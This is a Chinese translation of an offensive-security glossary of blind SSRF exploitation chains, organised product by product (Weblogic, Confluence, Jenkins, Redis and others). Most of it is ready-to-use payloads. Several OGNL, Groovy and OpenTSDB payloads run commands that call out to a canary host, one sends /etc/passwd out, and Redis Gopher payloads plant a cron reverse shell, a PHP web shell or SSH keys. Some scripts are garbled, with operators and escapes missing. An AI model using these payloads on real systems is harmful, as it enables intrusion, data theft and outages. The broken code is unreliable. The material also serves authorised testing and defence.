盲SSRF利用链术语表
介绍
什么是服务器请求伪造(SSRF)?
SSRF(Server-Side Request Forgery:服务请求伪造)是一种由攻击者构造,从而让服务端发起请求的一种安全漏洞,它将一个可以发起网络请求的服务当作跳板来攻击其他服务,SSRF的攻击目标一般是内网。当服务端提供了从其他服务器获取数据的功能(如:从指定URL地址获取网页文本内容、加载指定地址的图片、下载等),但是没有对目标地址做过滤与限制时就会出现SSRF。
盲 SSRF(Blind SSRF)
在利用服务器端请求伪造时,我们经常会发现自己无法读取响应。这种行为通常被称为"盲SSRF(Blind SSRF)"。在这种情况下,我们如何证明影响?这是贾斯汀 · 加德纳在推特上引发的一次有趣的讨论:
如果你能够获得内部资源,那么可以执行许多潜在的利用链来证明其影响。这篇文章尽可能详细介绍每个已知的盲SSRF的漏洞利用链,并将随着更多技术的发现和分享而更新。
你可以在这里找到一个GitHub仓库来查看所有的这些技术:Blind SSRF Chains。
请在GitHub上给我们发送一个pull请求,如果你想在这个术语表中添加更多的技术。
SSRF Canaries
(当在内部将一个盲SSRF链接到另一个SSRF时,我倾向于称他们为SSRF Canaries,这将在外部进行额外调用,或者通过特定于应用程序的打开重定向或盲XXE。Confluence, Artifactory, Jenkins, 和JAMF都有一些很好的效果。)
为了验证你可以与内部服务或应用程序交互,你可以使用“SSRF Canaries”。
此时,我们可以请求一个内部URL,该URL执行另一个SSRF并调用你的 Canaries主机。如果你收到一个到你的Canaries主机的请求,这意味着你已经成功地命中了一个内部服务,该服务也能够发出出站请求。
这是验证SSRF漏洞是否可以访问内部网络或应用程序的有效方法,也是验证内部网络上是否存在某些软件的有效方法。你还可以使用SSRF检测器访问内部网络中更敏感的部分,这取决于它位于何处。
使用DNS数据源和AltDNS查找内部主机
目标是找到尽可能多的内部主机,DNS数据源可以用来找到指向内部主机的所有记录。
在云环境中,我们经常看到指向内部VPC中的主机的elb。根据资产所在VPC的不同,有可能访问同一VPC内的其他主机。
例如,假设从DNS数据源中发现了以下主机:
stylus
代码语言:javascript复制livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82
你可以假设它代表Elasticsearch,然后对该主机执行进一步的攻击。还可以在通过这种方法在已确定的所有“内部”主机上喷洒所有盲SSRF Payloads。这一般情况下是有效的。
要找到更多的内部主机,我建议使用所有的DNS数据,然后使用AltDNS之类的东西生成排列,然后使用fast DNS bruteforcer解析它们。
完成后,识别所有新发现的内部主机,并将它们作为盲SSRF链的一部分。
侧信道泄露
当利用盲SSRF漏洞时,你可能会泄漏有关返回响应的一些信息。例如,假设你通过XXE盲打SSRF,则错误消息可能表示是否:
- 返回了一个响应:
Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.
- 无法访问主机和端口:
Error parsing request: System.Net.WebException: Unable to connect to the remote server
- 响应状态代码:
Online internal asset:port responds with vs offline internal asset:port
200 OK``500 Internal Server Error
- 响应内容: 响应大小(以字节为单位)是小还是大,取决于你试图请求的URL是否可达。
- 响应时间: 响应时间变慢或变快,这取决于你试图请求的URL是否可达。
技巧
可能通过HTTP (s)
Elasticsearch
默认端口: 9200
当内部部署Elasticsearch时,它通常不需要身份验证。
如果你有一个盲SSRF,你可以确定状态代码,检查看看以下端点是否返回200:
awk
代码语言:javascript复制/_cluster/health
/_cat/indices
/_cat/health
如果你有一个可以发送POST请求的盲SSRF,你可以通过发送一个POST请求到以下路径来关闭Elasticsearch实例:
注意:这个API已经从Elasticsearch版本2.x及以上中移除了。这只能在Elasticsearch 1.6和以下版本运行
awk
代码语言:javascript复制/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
Weblogic
默认端口: 80, 443 (SSL), 7001, 7002, 8888
SSRF Canary: UDDI Explorer (CVE-2014-4210)
http
代码语言:javascript复制POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
operator=http://SSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business location&btnSubmit=Search
这也可以通过GET实现:
sas
代码语言:javascript复制http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://SSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business location&btnSubmit=Search
这个端点也容易受到CRLF注入的影响:
http
代码语言:javascript复制GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp HTTP/1.11
X-CLRF: Injected
&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
将导致以下请求:
http
代码语言:javascript复制root@mail:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>
SSRF Canary: CVE-2020-14883
Taken from here.
Linux:
html
代码语言:javascript复制POST /console/css/%2e%2e%2fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Windows:
http
代码语言:javascript复制POST /console/css/%2e%2e%2fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Hashicorp Consul
默认端口: 8500, 8501(SSL)
Writeup can be found here.
Shellshock
默认端口: 80, 443 (SSL), 8080
为了有效地测试Shellshock,你可能需要添加一个包含payload的头。下面的CGI路径值得一试:
要测试的CGI路径列表:Gist containing paths.
SSRF Canary: Shellshock via User Agent
sqf
代码语言:javascript复制User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
Apache Druid
默认端口: 80, 8080, 8888, 8082
请参阅Apache Druid的API参考。
如果你可以查看状态码,请检查以下路径,看看它们是否返回200状态码:
awk
代码语言:javascript复制/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus
关闭任务,需要你猜测任务id或数据源名称:
gradle
代码语言:javascript复制/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
Apache Druid Overlords上的关闭监控器:
awk
代码语言:javascript复制/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown
Apache Solr
默认端口: 8983
SSRF Canary: Shards Parameter
(为了补充shubham所说的--扫描solr相对容易。有一个shards=参数,允许你反弹SSRF到SSRF,用来验证你正在盲打的solr实例)
取自这里。
awk
代码语言:javascript复制/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config#&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
SSRF Canary: Solr XXE (2017)
Apache Solr 7.0.1 XXE (Packetstorm)
xml
代码语言:javascript复制/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}
通过dataImportHandlerRCE
Research on RCE via dataImportHandler
PeopleSoft
默认端口: 80,443 (SSL)
取自这个研究
SSRF Canary: XXE #1
html
代码语言:javascript复制POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>
SSRF Canary: XXE #2
html
代码语言:javascript复制POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">
Apache Struts
默认端口: 80,443 (SSL),8080,8443 (SSL)
取自这里。
SSRF Canary: Struts2-016:
将这个附加到你知道的每个内部端点/URL的末尾:
xquery
代码语言:javascript复制?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'command'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#t=#d.readLine(),#u="http://SSRF_CANARY/result=".concat(#t),#http=new java.net.URL(#u).openConnection(),#http.setRequestMethod("GET"),#http.connect(),#http.getInputStream()}
JBoss
默认端口: 80,443 (SSL),8080,8443 (SSL)
取自这里:
SSRF Canary: Deploy WAR from URL
awk
代码语言:javascript复制/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
Confluence
默认端口: 80,443 (SSL),8080,8443 (SSL)
通过OGNL注入实现RCE (CVE-2021-26084)
llvm
代码语言:javascript复制/pages/createpage-entervariables.action?queryString=aaau0027%2b#{u0022u0022[u0022classu0022].forName(u0022java.lang.Runtimeu0022).getMethod(u0022getRuntimeu0022,null).invoke(null,null).exec(u0022curl .burpcollaborator.netu0022)}%2bu0027
/confluence/pages/createpage-entervariables.action?queryString=aaau0027%2b#{u0022u0022[u0022classu0022].forName(u0022java.lang.Runtimeu0022).getMethod(u0022getRuntimeu0022,null).invoke(null,null).exec(u0022curl .burpcollaborator.netu0022)}%2bu0027
/wiki/pages/createpage-entervariables.action?queryString=aaau0027%2b#{u0022u0022[u0022classu0022].forName(u0022java.lang.Runtimeu0022).getMethod(u0022getRuntimeu0022,null).invoke(null,null).exec(u0022curl .burpcollaborator.netu0022)}%2bu0027
/pages/doenterpagevariables.action?queryString=aaau0027%2b#{u0022u0022[u0022classu0022].forName(u0022java.lang.Runtimeu0022).getMethod(u0022getRuntimeu0022,null).invoke(null,null).exec(u0022curl .burpcollaborator.netu0022)}%2bu0027
/pages/createpage.action?queryString=aaau0027%2b#{u0022u0022[u0022classu0022].forName(u0022java.lang.Runtimeu0022).getMethod(u0022getRuntimeu0022,null).invoke(null,null).exec(u0022curl .burpcollaborator.netu0022)}%2bu0027
/pages/templates2/viewpagetemplate.action?queryString=aaau0027%2b#{u0022u0022[u0022classu0022].forName(u0022java.lang.Runtimeu0022).getMethod(u0022getRuntimeu0022,null).invoke(null,null).exec(u0022curl .burpcollaborator.netu0022)}%2bu0027
/pages/createpage-entervariables.action?queryString=aaau0027%2b#{u0022u0022[u0022classu0022].forName(u0022java.lang.Runtimeu0022).getMethod(u0022getRuntimeu0022,null).invoke(null,null).exec(u0022curl .burpcollaborator.netu0022)}%2bu0027
/template/custom/content-editor?queryString=aaau0027%2b#{u0022u0022[u0022classu0022].forName(u0022java.lang.Runtimeu0022).getMethod(u0022getRuntimeu0022,null).invoke(null,null).exec(u0022curl .burpcollaborator.netu0022)}%2bu0027
/templates/editor-preload-container?queryString=aaau0027%2b#{u0022u0022[u0022classu0022].forName(u0022java.lang.Runtimeu0022).getMethod(u0022getRuntimeu0022,null).invoke(null,null).exec(u0022curl .burpcollaborator.netu0022)}%2bu0027
/users/user-dark-features?queryString=aaau0027%2b#{u0022u0022[u0022classu0022].forName(u0022java.lang.Runtimeu0022).getMethod(u0022getRuntimeu0022,null).invoke(null,null).exec(u0022curl .burpcollaborator.netu0022)}%2bu0027
SSRF Canary: Sharelinks(2016年11月发布的Confluence版本及更早版本)
awk
代码语言:javascript复制/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)
Atlassian Security Ticket OAUTH-344
dts
代码语言:javascript复制/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
Jira
默认端口: 80,443 (SSL),8080,8443 (SSL)
SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)
Atlassian Security Ticket OAUTH-344
dts
代码语言:javascript复制/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)
Atlassian Security Ticket JRASERVER-69793
awk
代码语言:javascript复制/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com
其他Atlassian产品
默认端口: 80,443 (SSL),8080,8443 (SSL)
SSRF Canary: iconUriServlet (CVE-2017-9506):
- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2
Atlassian Security Ticket OAUTH-344
dts
代码语言:javascript复制/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
OpenTSDB
默认端口: 4242
OpenTSDB远程代码执行
SSRF Canary: curl via RCE
sas
代码语言:javascript复制/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out right top&wxh=1900x770`curl SSRF_CANARY`&style=linespoint&png
OpenTSDB 2.4.0 远程代码执行
SSRF Canary: curl via RCE - CVE-2020-35476
sas
代码语言:javascript复制/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget --post-file /etc/passwd SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
Jenkins
默认端口: 80,443 (SSL),8080,8888
取自这里。
SSRF Canary: CVE-2018-1000600
awk
代码语言:javascript复制/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/#&login=orange&password=tsai
RCE
按照这里的说明,通过GET实现RCE:黑客詹金斯第2部分-滥用元编程为未经验证的RCE!
reasonml
代码语言:javascript复制/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)
@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')
@Grab(group='tw.orange', module='poc', version='1')
import Orange;
通过Groovy RCE
ini
代码语言:javascript复制cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' urllib.quote(pay)
Hystrix Dashboard
默认端口: 80,443 (SSL),8080
Spring Cloud Netflix,版本2.2.x 2.2.4之前的版本2.1.x 在2.1.6版本之前。
SSRF Canary: CVE-2020-5412
awk
代码语言:javascript复制/proxy.stream?origin=http://SSRF_CANARY/
W3 Total Cache
默认端口: 80,443(SSL)
W3 Total Cache 0.9.2.6-0.9.3
SSRF Canary: CVE-2019-6715
这需要是PUT请求:
html
代码语言:javascript复制PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host:
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
SSRF Canary
关于此漏洞的建议发布在这里:W3 Total Cache SSRF漏洞
这个PHP代码将为你的SSRF Canary主机生成一个payload(用你的Canary主机替换):url
php
代码语言:javascript复制<?php
$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), ' /=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);
?>
Docker
默认端口: 2375, 2376 (SSL)
如果你有一个部分回显SSRF,你可以使用以下路径来验证Docker的API的存在:
jboss-cli
代码语言:javascript复制/containers/json
/secrets
/services
通过运行一个任意的docker镜像触发RCE
applescript
代码语言:javascript复制POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...
{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
将alpine替换为你希望docker容器运行的任意镜像。
Gitlab Prometheus Redis Exporter
默认端口: 9121
此漏洞影响13.1.1版本之前的Gitlab实例。根据Gitlab文档,从Gitlab 9.0开始,Prometheus及其导出程序默认是打开的
。
这些导出器为攻击者使用CVE-2020-13379来攻击其他服务提供了一种很好的方法。一个很容易被利用的Exporter是Redis Exporter。
以下端点将允许攻击者转储redis服务器中通过target参数提供的所有密钥:
vim
代码语言:javascript复制http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
可能通过Gopher
Redis
默认端口: 6379
推荐阅读:
- 试图通过HTTP请求攻击Redis
- SSRF攻击Redis
通过Corn RCE - Gopher Attack Surfaces
bash
代码语言:javascript复制redis-cli -h $1 flushall
echo -e "nn*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1nn"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
Gopher:
bash
代码语言:javascript复制gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$64
*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
quit
通过上传(PHP)shell RCE - Redis Getshell Summary
python
代码语言:javascript复制#!/usr/bin/env python
# -*-coding:utf-8-*-
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="nn<?php phpinfo();?>nn"
filename="shell.php"
path="/var"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol ip ":" port "/_"
def redis_format(arr):
CRLF="rn"
redis_arr = arr.split(" ")
cmd=""
cmd ="*" str(len(redis_arr))
for x in redis_arr:
cmd =CRLF "$" str(len((x.replace("${IFS}"," ")))) CRLF x.replace("${IFS}"," ")
cmd =CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload = urllib.quote(redis_format(x))
print payload
通过 authorized_keys RCE - Redis Getshell Summary
python
代码语言:javascript复制import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="nn<?php eval($_GET["cmd"]);?>nn"
sshpublic_key = "nnssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ eCBdFZEf/m8yIb3/7Cp 31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9 AwAX4xSabbxuUyu02AQz8wp h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR 0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs EA1ohUct9UyXbTehr1Bdv4IXx9 7Vhf4/qwle8HKali3feIZ root@kalinn"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol ip ":" port "/_"
def redis_format(arr):
CRLF="rn"
redis_arr = arr.split(" ")
cmd=""
cmd ="*" str(len(redis_arr))
for x in redis_arr:
cmd =CRLF "$" str(len((x.replace("${IFS}"," ")))) CRLF x.replace("${IFS}"," ")
cmd =CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload = urllib.quote(redis_format(x))
print payload
通过Git协议在GitLab上进行RCE
参考Liveoverflow的文章
虽然这需要通过身份验证访问GitLab才能利用,我这里的payload,因为协议可能对你正在攻击的目标有效。此payload仅供参考。
bash
代码语言:javascript复制git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{"class":"GitlabShellWorker","args":["class_eval","open('|cat /flag | nc 127.0.0.1 2222').read"],"retry":3,"queue":"system_hook_push","jid":"ad52abc5641173e217eb2e52","created_at":1513714403.8122594,"enqueued_at":1513714403.8129568}"
exec
exec
/ssrf123321.git
Memcache
默认端口: 11211
- vBulletin Memcache RCE
- GitHub Enterprise Memcache RCE
- Example Gopher payload for Memcache
bash
代码语言:javascript复制gopher://[target ip]:11211/_
set ssrftest 1 0 147
a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}
gopher://192.168.10.12:11211/_
delete ssrftest
Apache Tomcat
默认端口: 80,443 (SSL),8080,8443 (SSL)
仅对Tomcat 6有效:
gopher-tomcat-deployer
使用此技术编写CTF:
From XXE to RCE: Pwn2Win CTF 2018 Writeup
FastCGI
默认端口: 80,443 (SSL)
取自这里
apache
代码语言:javascript复制gopher://127.0.0.1:9000/_ SERVER_SOFTWAREgo / fcgiclient REMOTE_ADDR127.0.0.1SERVER_PROTOCOLHTTP/1.1CONTENT_LENGTH97REQUEST_METHODPOST [PHP_VALUEallow_url_include = On
disable_functions =
safe_mode = Off
auto_prepend_file = php://inputSCRIPT_FILENAME/var/www/html/1.php
DOCUMENT_ROOT/ a & /dev/tcp/172.19.23.228/2333 0>&1');die('-----0vcdb34oju09b8fd-----
');?>
工具
Gopherus
- Gopherus - Github
- Blog post on Gopherus
这个工具产生的Gopher payload有:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
SSRF Proxy
- SSRF Proxy
SSRF Proxy是一个多线程HTTP代理服务器,旨在通过容易受到服务器端请求伪造(SSRF)攻击的HTTP服务器隧道客户端HTTP流量。
Credits:
原文:A Glossary of Blind SSRF Chains – Assetnote
感谢以下为这篇文章做出贡献的人:
- @Rhynorater - Numerous contributions towards this blog post
- @nnwakelam - Solr Shards SSRF
- @marcioalm - Tomcat 6 Gopher RCE
- @vtnahira - OpenTSDB RCE
- @fransrosen - SSRF canaries concept
- @theabrahack - RCE via Jenkins Groovy
- bike chain logo by Rafael Empinotti from the Noun Project